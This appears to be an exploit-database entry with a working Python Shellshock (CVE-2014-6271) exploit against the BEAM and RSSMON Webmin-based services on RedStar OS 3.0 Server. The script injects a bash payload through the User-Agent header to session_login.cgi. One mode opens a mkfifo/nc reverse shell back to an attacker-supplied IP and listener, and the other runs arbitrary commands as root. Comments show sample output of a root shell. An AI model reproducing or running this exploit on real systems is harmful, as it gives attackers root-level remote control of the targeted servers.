RedStar 3.0 Server - 'BEAM & RSSMON' Command Execution (Shellshock)

2016.12.19
Risk: High
Local: Yes
Remote: No
CWE: N/A


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

#!/usr/bin/env python # RedStar OS 3.0 Server (BEAM & RSSMON) shellshock exploit # ======================================================== # BEAM & RSSMON are Webmin based configuration utilities # that ship with RSS server 3.0. These packages are the # recommended GUI configuration components and listen on # a user specified port from 10000/tcp to 65535/tcp. They # are accessible on the local host only in vanilla install # unless the firewall is disabled. Both services run with # full root permissions and can be exploited for LPE or # network attacks. RSSMON has hardened SELinux policies # applied which hinder exploitation of this vulnerability # be limiting access to network resources. Commands are # still run as root in a blind way. # # $ python rsshellshock.py beam 192.168.0.31 10000 192.168.0.10 8080 # [+] RedStar OS 3.0 Server (BEAM & RSSMON) shellshock exploit # [-] exploiting shellshock CVE-2014-6271... # sh: no job control in this shell # sh-4.1# id # uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:beam_t:s0-s15:c0.c1023 # sh-4.1# # # -- Hacker Fantastic (https://myhackerhouse.com) from requests.packages.urllib3.exceptions import InsecureRequestWarning import subprocess import requests import sys import os def spawn_shell(cbport): subprocess.call('nc -l ' + cbport, shell=True) def shellshock(soft,ip,port,cbip,cbport): requests.packages.urllib3.disable_warnings(InsecureRequestWarning) if soft == "beam": user_agent = {'User-agent': '() { :; }; /bin/bash -c "rm /tmp/.f;mkfifo /tmp/.f;cat /tmp/.f|/bin/sh -i 2>&1|nc '+cbip+' '+cbport+' >/tmp/.f"'} else: shellstring = '() { :; }; /bin/bash -c "%s"' % (cbip) user_agent = {'User-agent': shellstring} print "[-] exploiting shellshock CVE-2014-6271..." myreq = requests.get("https://"+ip+":"+port+"/session_login.cgi", headers = user_agent, verify=False) if __name__ == "__main__": print "[+] RedStar OS 3.0 Server (BEAM & RSSMON) shellshock exploit" if len(sys.argv) < 5: print "[-] Use with <beam> <host> <port> <connectback ip> <connectback port>" print "[-] Or with <rssmon> <host> <port> <cmd>" sys.exit() if(sys.argv[1]=="beam"): newRef=os.fork() if newRef==0: shellshock(sys.argv[1],sys.argv[2],sys.argv[3],sys.argv[4],sys.argv[5]) else: spawn_shell(sys.argv[5]) else: shellshock(sys.argv[1],sys.argv[2],sys.argv[3],sys.argv[4],0)


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